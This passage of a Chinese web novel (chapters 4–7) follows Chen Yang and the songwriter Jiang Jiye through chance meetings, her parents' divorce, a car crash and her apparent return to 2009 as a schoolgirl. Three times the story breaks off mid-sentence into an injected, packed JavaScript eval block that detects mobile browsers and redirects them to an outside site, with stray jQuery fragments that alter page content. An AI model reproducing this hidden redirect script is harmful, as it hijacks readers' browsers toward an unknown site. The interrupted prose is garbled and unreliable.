一辆黑车缓缓停在路边。 谈令降下车窗,“陈漾。” 她拉开车门,黑车很快驶离。 不知道过去多久,街道重新恢复安静。 江纪野站在原地,终于慢慢转身往回走。 陌生人一般的相处,他不是没有预料过。 只是不可避免的,还是会有一丝失落。 4. 第 4 章 “刚那人还挺像江纪野。”谈令随口说了句。 他知道陈漾晚上视力不太好,所以打算直接把她送到公寓楼下。 陈漾把手机接上充电,又从包里拿出那袋照片放到车上,“就是他。” “照片在里面。” “谢了。” 谈令倒也没太惊讶。 北城明星多,他工作时也常碰见。 只是没想到江纪野住那片老城区。 “那他住得还挺偏。” “你不也住这片。” “那不一样。”谈令理直气壮,“我是只能住得起那边。” 陈漾没忍住笑,“犟吧你就。” 谈令哼了两声,顺势换了个话题。 陈漾像是忽然想起什么,随口提了一句:“于忻过几天要来北城。” 空气诡异地沉默两秒。 谈令:“……哦。” 又低声补一句:“估计也不关我事。” “那不一定。”陈漾笑了笑,没继续往下说。 … 江纪野推门回到院子时,程简正举着酒瓶,“江纪野人呢?” “这儿。”江纪野把椅子拉开坐下。 程简立刻凑过去,“怎么样,人呢?” “回去了。” “……” 程简一脸恨铁不成钢,“纪野,你这样追不到人的。” “对啊。”林非一副情感大师模样接话:“我当年追人,那可是轰轰烈烈——” “然后轰到腿骨折。”程简毫不留情补刀。 “滚。”林非骂他,“那叫勋章。” 当年他大学追学姐,大半夜骑车送花。 结果花没送成,人先摔进医院躺了半个月。 程简没少用这事儿损他。 “太晚了。” 江纪野只是淡淡说了句。 程简知道他不想继续聊,便换了话题,“来来来,喝酒喝酒。” “明儿你陪我。” 陆昱明一边摆碗筷,一边问:“林非今天还喝?” 程简推了一杯过去,听这话笑了,“再喝他就能二进宫了,我可不想明天在新闻头条上看见他。” 林非常年混迹各大酒桌,有时候一天二十四个小时二十个小时泡在酒里,不知道以为是喝酒长大的。 林家从商几代,就没见过比林非还能喝的。 只不过报应迟早得来,前几天林非喝到胃出血,直接在众目睽睽下被救护车拉走。 好在当时在场都是熟人,没在陌生人面前闹出笑话。 不然第二天真得上新闻。 林非恼羞成怒说:“滚。” 院子里很快热闹起来,几人东一句西一句聊着圈里的八卦。 哪家富二代又换了女朋友,哪个模特和资本走得近。 北城圈子多,话料也多。 陆昱明对那些没什么了解,倒是林非说起明年赛车的世锦赛,明显多了几分兴趣。 有流浪猫从墙头翻了进来,老街流浪猫狗多,有人捡回去,也有爱心人士做了绝育重新放回来的。 江纪野捡了块没什么味道的肉放在脚边,没两下就被吃干抹净。 像是知道他这儿有吃的,猫也不走了,就趴在他脚边。 江纪野回屋拿了袋猫粮出来,猫却又不见踪影。 一回来,程简就招呼着把东西收了,回里屋去打牌。 陆昱明手脚利索,三两下就把林非和程简磨磨蹭蹭的地方收拾完了。 程简拍拍手,竖起大拇指对着陆昱明,“明儿居家好男人。” 林非没忍住翻了个白眼,“懒得你。” “那咋了。”程简嬉皮笑脸的,“纪野,你来不?” “不了,我坐会儿。”江纪野说。 性格使然,江纪野的朋友不算多,相熟的一双手就数的过来。 他坐在院子里,屋里的声响透过未关拢的门透了出来。 程简拿来的酒一般都挺烈,江纪野倒是觉得没什么味道,喝了好几杯。 思绪不自觉的回到了很多年前。 往事如走马灯历历在目。 直到黑夜彻底覆盖。 有雨坠在青石板上,后院只剩一张桌子,两侧房屋紧闭。 一片寂静。 一道身影转入街角。 … 纪录片拍摄周期不短,期间总会有各种突发情况。素材不够、被拍摄对象状态不稳定、临时变更安排,都会让原定计划被迫延后。 一周过去,陈漾没再去过那条老街。 清晨天色刚亮,街道上传来模糊而断续的声响,像有人推着早餐车经过,又像远处施工的动静,被风吹得支离破碎。 公寓不大,一室一厅,装修简单冷淡,除了必要家具几乎没有多余摆设。 陈漾从卧室出来,走到客厅给自己倒了杯水。 昨晚睡得太晚,太阳穴还隐隐发胀。 今明两天没有拍摄安排,她得回一趟江城。 因为是临时决定,再加上之后还要搬些东西来北城,陈漾干脆决定自己开车回去。 简单收拾完行李,她便出了门。 车是谈令的SUV,后备箱空间很大。 中午路过服务区时,陈漾随便买了份三明治和咖啡。一路天气不错,高速两旁树影飞快后退,她开了几个小时,终于赶在天黑之前进了江城。 只是她没先回工作室,而是拐去了城南的一处小区。 电梯缓慢上升。 狭窄空间里残留着淡淡消毒水味道。 长时间开车让陈漾太阳穴一阵阵发疼,她靠着电梯墙壁,闭了闭眼。 手机还在不断弹出消息。 她低头扫了一眼,又重新放回口袋。 电梯停在十一层,小区是一梯两户,走廊安静得只能听见感应灯轻微的电流声。 陈漾掏出钥匙开门。 屋内漆黑一片,她顺手开了灯,弯腰把玄关凌乱摆着的鞋一双双放回鞋柜,随后才开口:“他人呢?” 余雅坐在客厅沙发上,电视没开,人也没什么精神,“谁知道,你怎么这个点才来。” “工作忙。”陈漾关上柜门,“明天几点过去?” “十点。” “那我到时候来接你。” 余雅没再说话。 陈漾也不想久留,“那我先走了,妈。” 从进门到现在,她始终只站在离客厅不远的位置,没有再往里走一步。 这套房子是她五岁时搬进来的。 最开始是什么样的心情,她已经记不太清了。 只是快二十年过去,很多东西早就面目全非,她也已经很久没见过陈世明。 如今还执着不肯放手的人,好像只剩余雅一个。 大概是太久没听见陈漾喊她“妈”,余雅终于抬起头,认真看了她几眼,“明天记得时间。” “嗯。”陈漾应了一声,却依旧没什么多余的话。 傍晚正值放学时间,街道上到处都是穿校服的学生。 陈漾把车停在工作室旁边的拐角车位,随后给陈世明打了通电话。 时隔一周,「木野」重新亮起灯。 工作室对街那家新开的酒吧也正好在晚上九点开门。 陈漾扣上电脑,于忻发消息说已经快到了,两人约在酒吧见。 酒吧似乎刚营业,里面人不算多。 暖色灯光昏暗柔和,小舞台上摆着几样乐器,音响里放着一首老英文歌。 陈漾坐在吧台前,点了杯度数很低的鸡尾酒。 调酒台旁边就是通往二楼的楼梯。 没多久,于忻踩着高跟鞋走了进来,“这酒吧人还挺少的。” 她今天穿得比平时正式不少,像刚从公司直接赶过来。 “刚开门吧。”陈漾看了眼她明显疲惫的神色,“开会怎么样?” 于忻长长叹了口气,整个人趴到桌面上,“别提了。让我改了九版方案,最后告诉我要用第一版,我当时差点没忍住把电脑砸了。” 于忻说明辞职之后,于妈妈倒没继续逼她相亲,只是让她去朋友公司帮忙。 结果从一个火坑跳进另一个。 老板是个闲着创业玩的富二代,公司上下不到十个人,于忻一个人硬生生包揽了大半工作。 “真把我当免费劳动力了。”于忻满脸生无可恋,“要不是欠他妈人情,我一个星期都忍不了。” 不过好在,对方也只让她帮半个月。 今天正好最后一天。 陈漾从包里拿出盒巧克力推过去,“辛苦了,尝尝。” 于忻低头看了眼,挑眉,“谁给你的?” 她记得陈漾不怎么吃甜食。 陈漾开口道:“谈令。” 空气安静了一瞬。 于忻突然坐直,一脸复杂,“他还住那儿呢?” 陈漾见她不接,干脆拆了一颗直接塞进她嘴里,“嗯,开着小破车守着老房子。” 说完自己都忍不住笑,“你们俩也是够了。” 于忻咬碎巧克力,含糊不清地嘟囔:“随便他,反正我不可能先低头。” 她一口喝完杯里的酒,正准备再点一杯,结果调酒师没来,倒是来了个熟人。 “两位还要一样的吗?”林非忽然出现在吧台后。 陈漾认出了他。 之前在北城照片店里见过。 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588905|205403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过对方应该不记得她了。 于忻点点头。 林非笑着应了句“马上”,然后转身去找真正的调酒师——他压根不会调。 于忻忽然想起什么,“对了阿漾,沈燎那首新歌现场怎么样?” 陈漾想了想,“挺好听的。” 于忻是常年混迹热搜的人,“真的假的,我看网上都快吵翻了,还以为唱崩了。” “网上的东西,本来就半真半假。”陈漾低头喝了口酒,水果味压住了酒精,几乎尝不出度数。 “也是。”于忻撑着下巴,“谁知道真假。” 两人正聊着,楼梯那边忽然传来脚步声。 “林非干嘛呢,看见老情人了?”程简懒洋洋扶着栏杆往下走,手机还停留在聊天界面。 林非刚刚疯狂给他们发消息,让赶紧下来。 江纪野跟在后面,他像刚睡醒,黑发有些凌乱,神情倦懒,身上随意套了件白色短袖和黑裤,和酒吧氛围格格不入,更像附近大学里刚下课的学生。 随着两人走近,楼下声音也越发清晰。 于忻还在说:“你说我要不要去北城啊,我感觉——我靠。” 她话说一半,直接被楼梯上的两张脸打断。 陈漾顺势回头。 酒吧灯光交错,隔着昏黄光影,她再次和那双眼睛对视。 一瞬间,时间像短暂停滞。 时隔不过一周,她也没想到,居然会在两个城市里,连续第三次遇见同一个人。 太巧了。 程简左右张望半天,终于找到林非,立刻过去把人拽过来。 于忻本来就在娱乐行业,对江纪野和程简都不陌生。 偏偏此时,音响里又恰好放起了沈燎的新歌。 说来,今天还有一条热搜,是因为有人发现这是江纪野第一次写情歌。 也是沈燎第一次唱情歌。 于是网上那群“沈江CP粉”直接过年,讨论得热火朝天。 程简天生自来熟,松松垮垮往吧台边一靠,冲陈漾笑,“我们是不是在北城见过?” 陈漾点头,“嗯。” “这缘分。”程简乐了,“都见两次了,交个朋友呗。我叫程简。” 几人顺势互相报了名字。 “林非,这儿老板。” “江纪野。”江纪野站在旁边,声音很淡。 没人刻意提他的身份。 毕竟他们这一行,多少都不太喜欢别人打听私事。 “你之前在北城那个店里洗照片?”程简问。 “帮别人取照片,顺便问点事。”陈漾说,想到那天几人去店里,应该是和那个老板互相认识。 “哦,那店挺偏的。”程简点头,“一般都是认识的人过去。” “问什么事?”一直没怎么说话的江纪野忽然开口。 陈漾抬头看向他。 不知道为什么,她总觉得江纪野身上有种莫名熟悉感,可她之前明明从没见过他。 “收到个东西。”陈漾说,“是从店门口那个邮筒寄的。” 旁边于忻听到这儿,立刻问:“找到人了吗?” 陈漾摇头。 江纪野垂着眼,把调好的酒推到吧台前,“那边平时没什么人用邮筒。” “这年代谁还寄信。”林非接了句,“除了老古董。” 于忻深以为然。 几人有一搭没一搭聊了会儿。 最后在程简极力推动下,说酒吧刚开业搞活动,然后莫名其妙交换了联系方式。 等反应过来,时间已经不早了。 于忻看了眼手机,“我们先走了,明天还得工作。” “行啊,以后常来。”程简挥挥手,等两人离开后,他顺手喝了口江纪野刚调的酒,下一秒差点喷出来。 “我靠,江纪野,你这是酒还是工业酒精?” 江纪野低头喝了口,“……没调好。” 程简立刻嫌弃地推远,“你自己喝。” 林非坐在旁边翻于忻的朋友圈,“不过你们也是真有缘,北城碰一次,江城还能碰一次。” 他说着,忽然把手机递过去,“喏。” 照片里是海边。 陈漾举着相机,正在给一个小朋友拍照。 海风吹起她长发,画面安静又温柔。 江纪野看了两秒,移开视线。 “你们什么时候回北城?”他忽然问。 “不着急吧。”程简懒洋洋说,“怎么,你不多待两天?” “没必要。” 江纪野知道,陈漾只是临时回来。 程简想了想,“明后天?林非你这店就这样行了。” 林非:“滚。” 5. 第 5 章 翌日上午九点多,陈漾开车去接余雅。 一路上两人交流很少。 直到快到目的地时,余雅才终于低声说了句:“有时间还是发个消息,别就记着工作了。” “嗯。”陈漾依旧只是简单应声。 十点。 车停在民政局门口。 陈世明的车也已经在外面等着。 手续办得很快。 没多久,两人便各自拿着一本离婚证出来。 陈世明似乎还有事,和陈漾简单说了两句话就先离开。 余雅上车后眼睛有些泛红,整个人也沉默得厉害。 后来两人在商场随便吃了顿饭,余雅没什么胃口,几乎没动几筷子。 快三十年的婚姻,到今天终于彻底结束,那些反反复复纠缠多年的执念,也终于落幕。 可陈漾即使明白余雅的心情,却还是不知道该说些什么安慰的话。 晚些时候陈漾才回到工作室。 昨晚于忻还在追问邮筒和明信片的事。 “我总觉得那老板肯定知道什么。”于忻说。 陈漾也有同感。 尤其是陆昱明看到背后那两个字母时,神情明显不太对。 “等我去北城了,再帮你继续问。”于忻信誓旦旦。 陈漾没提起那天在照片店里响起的手机铃声。 她其实也短暂怀疑过,可最后还是觉得太荒谬。 一个素不相识的人怎么可能连续七年寄明信片给她。 根本解释不通。 于是她没再往深处想。 玻璃柜被打开。 陈漾把那六张明信片一一拿出来。 第一张,是海边日出。 第二张,是挂满祈福带的古寺老树。 第三张,是雪山。 … 直到第七张,北城那条老街。 这些地方她都查过,彼此相隔甚远。 除了背后那两个字母,再也找不出任何联系。 下午她又整理了不少东西搬上车。 接下来很长一段时间,她都会待在北城。 傍晚陈世明打电话来说一起吃顿饭,陈漾随口找了理由推掉。 电话那头沉默片刻,最后也没再说什么,只是简单叮嘱了几句, 第二天清晨。陈漾开车离开江城。 整座城市刚刚苏醒,天空泛着淡淡白雾,早餐店热气蒸腾,环卫工人在清扫落叶,几个学生背着书包匆匆赶往学校。 街上车很少。 陈漾降下车窗,风灌进来,人也清醒不少。 对街酒吧正好有人出来关门。 是江纪野。 他转身的瞬间,两人隔着街道短暂对视。 陈漾原本已经移开视线,却忽然看见了他手里拿着的东西。 一台相机。 很熟悉。 好像自己也有一台。 红灯转绿,陈漾收回思绪,踩下油门。 晨光一点点亮起。 有时候,意外发生的瞬间,人确实来不及思考任何事情。 没有预兆,也没有答案。 如果人的一生最终会变成一场漫长的走马灯。 那尽头之后又会是什么。 ... 富二代通宵喝酒后,在清晨无人的街道上飙车。 货车司机为了生计,一大早便开始拉货,只想着能赶在天黑前回家,陪女儿过生日。 世事难料,一切都没有预兆。 尖锐的救护车声划破城市清晨的寂静。 等于忻赶到医院时,只看见走廊尽头站着一道身影。 江纪野靠在墙边,一夜没睡,眼底布满血丝,指骨上还沾着已经干涸的血迹。 跑车闯过来的时候,根本没有减速。 或者说,车上的人根本不在乎红灯。 车子径直撞上了货车尾部,也撞上了陈漾的车。 货车司机伤势不算太重,脑震荡,需要住院观察。 而陈漾严重得多。 车辆侧翻时,车窗碎裂,安全气囊弹开,巨大的冲击力让她头部重重撞上车门,鲜血几乎浸透半边衣领,身上也有多处擦伤和骨裂。 于忻问清楚情况后,眼泪一下就掉了下来。 明明前两天还好好的。 她还说,让陈漾在北城等她,她过几天就去。 可约定戛然而止。 陈漾从来都不是会依赖别人的性格。 她不会说累,也不会主动示弱,更多时候,只是沉默地把所有事情一个人熬过去。 于忻知道这和她的成长环境有关。 那段漫长又压抑的岁月里,没有人可以代替她自己和过去和解。 不久后,警察也到了医院。 是来找货车司机和江纪野了解情况。 江纪野状态很差,却还是一字一句,清楚复述了事故发生时的细节。 车身侧翻后,是他把陈漾从车里抱出来的。 她额头的血流了他满手。 早餐店老板娘报了警,救护车来时,陈漾已经陷入半昏迷。 空旷的医院走廊里,灯光冷白。 江纪野看着警察,声音低哑却清晰—— “不会和解。” “无论什么方式。” 肇事者家里在江城做的生意不小,很快便派了人来医院。 只不过全被于忻拦了回去。 余雅赶到医院时,陈漾刚做完手术,被推进病房。 病床上的人安静得过分。 氧气面罩遮住了她半张脸,额头缠着纱布,脸色苍白得几乎透明。 余雅隔着玻璃,只看了一眼,眼泪便掉了下来,她下意识喊她,“阿漾……” 可没有人回应。 窗外下起了雨。 雨水顺着玻璃缓缓滑落,把城市灯火一点点晕开。 十字路口的事故现场早已清理干净,三辆车被拖离,人群散去。 这座城市重新恢复运转,像什么都没发生过一样。 又是一个雨天... 病房里的仪器声规律而冰冷。 陈漾安静躺着,意识像一点点沉入海底。 耳边所有声音都开始远去,她好像又回到了很多年前... 陈漾十岁那年,江城新开了第一家游乐场。 那天也是她的生日。 陈世明难得空出时间,一家三口去了游乐场。 夏天的风很热,游乐场里到处都是笑声。 有几个项目因为身高限制不能玩,陈世明便蹲下来哄她:“没事,等你长大了,爸爸再带你来。” 陈漾点点头,说好。 只是后来他再也没带她去过游乐场。 … 晚上一家人去了饭店。 陈世明以给女儿过生日的名义,请了不少人。 包厢里灯光晃眼,空气里全是酒味,大人们推杯换盏,笑声不断。 余雅不停给陈漾夹菜,旁边有人笑着夸:“你女儿真乖,吃饭都不挑食。” 陈漾低着头,把碗里最后那块肥肉吃了下去。 她其实从小就吃不了肥肉,一吃就反胃,可余雅忘了。 后来十岁的陈漾一个人跑进卫生间,扶着洗手台吐得眼眶发红。 镜子里的小女孩安静又狼狈。 没有哭。 … 仅仅过去五天。 余雅带着她到一家酒店楼下,从晚上十一点,一直到凌晨四点。 期间,余雅打了很多电话。 对方从最开始的不耐烦,到最后直接关机。 车里很闷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588906|205403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,余雅一遍遍告诉说—— “你爸爸外面有人了。” “那个孩子已经五岁了。” 那个晚上。 陈漾第一次知道,原来她还有一个妹妹。 … 后来家里开始不断争吵。 瓷器摔碎,玻璃落地。 尖锐的争执声几乎填满整个屋子。 可奇怪的是,每一次争吵结束后,两人又会恢复正常。 一起吃饭,一起聊天。 像什么都没发生。 只有陈漾越来越沉默。 后来她吃饭时,几乎再也不主动说一句话。 … “我是因为你才不离婚的。” 后来很长一段时间,这是余雅对陈漾说得最多的一句话。 可很早以前,家在陈漾心里,就已经不存在了。 … 高考前某个晚上,陈世明难得回了家,喝得满身酒气。 凌晨时,陈漾突然被争吵声惊醒。 紧接着,是余雅崩溃的一句,“我死了你就开心了是吧?!” 下一秒。 手机震动。 余雅给她发来一条消息。 陈漾猛地清醒,冲进隔壁房间。 床头倒着一个空掉的安眠药瓶。 余雅吞了一整瓶药。 而陈世明坐在旁边,醉意明显,一句话都没说。 最后是还未成年的陈漾,一个人跟着救护车去了医院。 ICU外的灯亮了一整夜。 因为未成年,她不能签字,只能一遍遍给陈世明打电话。 医生看着那个站在走廊里的女孩,最后只让赶来的陈世明按了手印。 天亮时,医生终于出来说:“人没事了。” 那时候。 陈漾已经将近二十个小时没合眼。 … 高考结束后,陈漾病倒了。 持续十多天的精神紧绷,让她直接烧到三十九度多。 半夜醒来时,屋子里安安静静,余雅已经回房睡了,没人发现她发烧。 第二天陈漾一个人去了诊所吊水。 半个月以后,陈世明回了家,两人最开始还吵了一架,到最后又假装相安无事的生活了下去。 好像那个晚上的事情只有陈漾记得。 好像一切都没有发生,没有伤痕在谁的身上。 … 后来她去了离江城很远的大学。 上大学以后,陈漾开始打工,渐渐的很少或者很久以后才回余雅的消息。 放假的时候,也免不了被余雅反复拿出来念叨。 初高中余雅念叨的时候,陈漾也常常控制不住,然后争吵。 然而随着时间的推移,她慢慢地学会了在余雅面前沉默。 陈漾不长的二十七年的人生中,对她来说幸福这个词已经太过久远以及陌生。 陈世明和余雅的婚姻对年幼时的她来说与枷锁并无不同。 陈漾也有过愧疚,觉得自己太过幼稚对余雅如此,只是在两人见面时,年少时的话仿佛还扎根在她心底,挥散不去。 这么多年,陈漾一直都是一个人。 她见过余雅崩溃,见过陈世明冷漠,也见过那个家一点点腐烂。 可没人问过她。 于是后来她习惯了所有事情自己撑过去。 所以闭上眼的那一刻。 陈漾忽然觉得,如果就这样结束,好像也没什么。 直到她听见一道熟悉的声音。 像跨越了很多年。 又像有人拼命穿过风雨与人潮,不顾一切朝她奔来。 她想回头,可视线越来越模糊。 意识彻底坠落前。 她终于听清了那道声音—— “陈漾!” 6. 第 6 章 江城时隔许久下起了雪,天气预报通知,预计下午五点后将迎来大雪,提醒居民减少出行,注意道路安全。 公交车停了又走,偶尔有行人裹紧外套匆匆经过,很快消失在风雪里。 不多时,路面便覆上了一层薄雪。 城西一带向来人烟稀少,大片荒地在冬日里显得愈发空旷。 江纪野睁开眼,缓缓坐起身。 他不知道自己在这里躺了多久,只觉得一睁眼,整个世界都已经被白色覆盖。 寒风掠过耳边,他抬眸看向不远处。 枯树孤零零立在雪地中央,树下的石椅与他肩头都覆着薄薄一层雪。 气温降至零下,踩出的脚印很快又被风雪掩埋。 江纪野停下脚步。 不远处,有人转过了身。 大雪纷扬而落。 “……江纪野?”陈漾终于忍不住出声。 她声音不大,却在空旷雪地里显得格外清晰。 江纪野看着她,片刻后问:“你认识我?” 风雪扑在脸上,冷意真实得不像梦境。 陈漾怔怔看着他。 眼前这张脸和昨天见到的并无太大区别,却又分明不同。 而且—— 十月的江城,为什么会突然下雪? 她低头看了看自己,身上的衣服也不是出门时穿的那套。 陈漾呼吸微滞。 她第一反应甚至是—— 车祸后出现幻觉了? 可风雪落在脖颈里的冷意,又真实得让人无法忽视。 陈漾没有回答江纪野的问题,只下意识摸了摸口袋,里面有一部手机。 她拿出来时,整个人忽然顿住。 那是一部翻盖手机。 很久很久以前,她曾用过的款式。 陈漾指尖微僵,缓缓翻开。 屏幕亮起。 ——2009年1月17日 风声仿佛在这一瞬静止。 时间回到了十年前。 回到了她十七岁那年。 陈漾一直算不上相信玄幻的人。 可眼前的一切,都在逼迫她接受这个事实。 她的确回到了过去。 还莫名其妙地,在这场雪里,遇见了年少时的江纪野。 雪越下越大,附近荒无人烟。 陈漾甚至想不起自己为什么会出现在这里。 江纪野也没再追问,只是转身朝前走去。 陈漾犹豫片刻,还是跟了上去。 两人一前一后踩过雪地,四周安静得只剩脚步声与风声。 不知走了多久,终于看见了公路。 因为雪天,下一班公交车晚了十几分钟。 陈漾在包里翻到钱包,才稍稍松了口气。 公交车停靠时,车门“吱呀”一声打开。 两人一前一后上了车。 车厢里人很少,江纪野坐在最后一排靠窗的位置,陈漾则坐在后门旁边。 暖气开得不算足,玻璃窗蒙着一层薄雾。 陈漾抬起头,看向窗外。 天色阴沉沉的,风雪压着整座城市。 没多久,公交车在江城三中门口停下。 江纪野背着包下了车。 陈漾看着他的背影消失在风雪里,才重新低头看向手机。 现在是寒假。 再过不久就要过年。 手机里,余雅刚发来消息,让她去超市买些年货。 陈漾先回了趟家。 房子和记忆里几乎一模一样——老旧的鞋柜,墙上的挂钟,茶几上的水渍痕迹,连窗边那盆快枯死的绿植都还在。 一切都停留在十年前。 直到这一刻。 陈漾终于彻底确认—— 她真的回到了过去。 身体还是自己的。 意识也是。 她不知道这是意外、濒死后的幻觉,还是别的什么。 更不知道自己会在这里停留多久,未来会不会因此发生改变。 可比起这些,一时间更让她无法面对的,是陈世明和余雅。 她不想重新经历一次那些事情,不想再看那个家一点点崩塌。 陈漾在客厅安静站了很久,最后还是重新披上外套出了门。 小区外步行十分钟就有一家超市。 陈漾随便买了些年货。 余雅远嫁江城,陈世明也不怎么和亲戚来往,所以每年过年,大多只是他们一家三口吃顿饭。 所谓年货,更像是余雅执着维持的某种“年味”。 摆满客厅,然后等年过去后,再一点点扔掉。 从超市出来后,陈漾没有立刻回家。 而是坐上公交车,去了三中。 十年时间,江城变化很大,可这一带却似乎没什么改变。 街边还有工人在撒盐防滑,红绿灯口偶尔有车驶过。 陈漾戴上帽子,顺着街道慢慢往前走。 这条街再往前一些,就是后来她工作室所在的位置。 她想去看看。 工作室的门紧闭着,信箱空空荡荡。 像从未有人来过。 陈漾站在原地,沉默许久。 对街是一家连锁饭店。 门口立着婚宴的牌子,里面隐约传来热闹的人声。 陈漾问了问旁边商铺的人,对方说,那地方早就没人住了,以前倒是有人往信箱里塞广告单,后来越积越多,就被路过的人顺手清理掉了。 陈漾没再多问。 离开十字路口后,她不知不觉又走到了三中门口。 校门紧闭,风雪落在铁门与校牌上。 陈漾站在原地,看着熟悉又陌生的校园,许久没动。 对面奶茶店还开着。 她进去点了杯热可可。 却又一次看见了熟悉的人。 奶茶店不大。 靠墙的位置坐着几个高中生,桌上摊满卷子,小声讨论着题目。 而靠玻璃窗的位置,江纪野正坐在那里。 他低着头写东西,桌边放着一杯已经快冷掉的奶茶。 陈漾没有上前打招呼。 说到底,他们也并不熟。 她坐在另一边,捧着热可可,安静看着窗外的大雪。 店里很安静。 不知过了多久,店员回了里间,写作业的高中生也陆续离开。 最后,只剩下他们两个人。 江纪野放下笔时,恰好看见陈漾。 她坐在窗边发呆,围巾不见了,只披着一件厚外套,雪光映在她侧脸上。 陈漾像是察觉到什么,忽然转过头。 两人视线撞在一起。 空气安静了一瞬。 许久后,还是陈漾先开了口,“你是三中的?” 她看着江纪野,忽然有种很奇怪的熟悉感。 不是在北城,而是在更久以前。 “嗯。”江纪野点头。 像雪地里那样,他依旧没有追问她为什么知道自己名字。 很多事情,从一开始就不一定非要寻根究底。 “高三七班。”他说。 陈漾怔了下,她是二班。 学校单双号分楼层,也就是说他们以前或许真的见过。 只是自己从来没有注意过。 “二班的。”陈漾说。 “我知道。”江纪野回答。 陈漾微微一怔。 窗外,一家三口撑着伞从街边经过。 父亲抱着裹得圆滚滚的小孩,母亲手里捧着热腾腾的烤红薯,笑声隔着玻璃隐约传进来。 也是这一刻,江纪野忽然收起桌上的东西,站起身。 他背着包,看向陈漾开口道:“要听歌吗?” ——2009年。 江纪野十八岁。 陈漾十七岁。 他们在一场大雪里,提前相遇。 ... 沿着十字路口另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588907|205403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一侧往里走,是一排老旧商铺,江纪野拐进一条巷子,停在一家店门前。 店名叫——「乐音」 是一家乐器店。 店里摆着不少乐器。 墙上挂着吉他、小提琴,还有一些陈漾认不出的乐器。 最里面则放着几架钢琴。 江纪野打开暖气,室内很快暖和起来。 靠窗的位置摆着几张沙发和桌子,像是供客人休息用的。 “坐那儿吧。”江纪野说。 陈漾点点头。 其实连她自己也不知道,为什么会答应跟着他来这里。 或许是因为在这个陌生又荒诞的时间里,江纪野是唯一能证明她不是“异类”的存在。 原本十年后才第一次正式见面的人。 如今却提前闯进了她十七岁的冬天。 这种感觉很奇怪,像命运突然被人拨乱了一瞬。 江纪野从柜台里拿出把吉他,很普通的款式,也没有太多装饰。 窗外大雪纷飞,琴弦被轻轻拨动。 他弹了一首很安静的曲子。 没有歌词只有旋律,却莫名让人心一点点安静下来。 陈漾虽然不懂音乐,却也终于明白,为什么后来会有那么多人愿意和江纪野合作。 他的歌,确实有种很特别的吸引力。 陈漾小时候学过几年钢琴,但后来因为学业放弃了。 那个时候她其实并不在意。 钢琴从来不是她真正喜欢的东西。 可后来,余雅总会提起,说当年花了很多钱。 仿佛“放弃”这件事,本身就是一种错误。 陈漾回过神,看着坐在灯光下弹吉他的江纪野,忽然觉得—— 年少时的江纪野,似乎还是个挺自来熟的人。 和后来完全不一样。 在北城的时候,她一直觉得江纪野是个很难接近的人。 酒吧那晚,五个人坐在一起,大部分时间都是程简、林非和于忻在说话。 江纪野很少开口。 可现在的他,却会在雪地里,莫名其妙邀请一个陌生人来听歌。 一曲结束。 陈漾轻声问:“这首歌有名字吗?” “还没有。”江纪野说。 他把吉他平放回桌边,随后看向陈漾。 她旁边刚好摆着一架钢琴。 “你会弹钢琴吗?” “小时候学过几年,现在不会了。” 陈漾偏头看了一眼,是一架很漂亮的立式钢琴,以前她竟从来不知道,三中附近还有这么一家店。 “可以试试。”江纪野说,“旁边那架可以碰。” 陈漾笑了下,“不了,手法都忘了。” 江纪野没勉强,只是从架子上抽出一张谱纸递给她,“可以帮我想个名字吗?” 店里暖气开得很足。 没多久,陈漾冰凉的手脚终于暖了起来。 帽子也早就摘下,头发有些乱,却让她整个人少了几分疏离感。 陈漾接过那张纸,忽然笑了笑,“你还挺自来熟。” 她是真的觉得现在的江纪野和后来差别很大。 江纪野闻言,只垂眸笑了下,没说话。 手机忽然震动了一声,陈漾低头看了眼时间。 已经不早了。 江纪野似乎也意识到这一点,没有回答她刚刚的话,只说:“以后再告诉我也行。” 陈漾点点头,“那我先走了。” 她重新戴上帽子,把那张纸仔细折好,放进口袋。 临出门前江纪野从门边拿了把伞递给她,“外面雪大。” 陈漾接过伞,低声道谢。 离开巷子前,她忍不住回头看了一眼。 长巷狭窄,一眼望得到头。 红砖青瓦覆满白雪,墙后枯树枝丫探出半截。 冬风呼啸而过,陈漾站了几秒,最终还是转身离开。 公交车缓缓驶入风雪之中。 7. 第 7 章 正月初六,江城三中开学。 那天回到家后,陈漾也没刻意去模仿从前高中时的自己。 但按余雅的思维,怎么也不可能想到“穿越”这种事。 更别说,会发生在自己的女儿身上。 一如既往,大年三十那天陈世明才回来。 饭桌上,两人又因为一些琐事吵了起来。 从某种程度来说,陈漾有时也会觉得,自己的确继承了他们身上的某些东西。 比如狠心,比如逃避。 她听着两人争吵了二十多年,从最开始会被影响情绪,到后来渐渐麻木,再到如今,听见那些尖锐的话时,心里已经掀不起多少波澜。 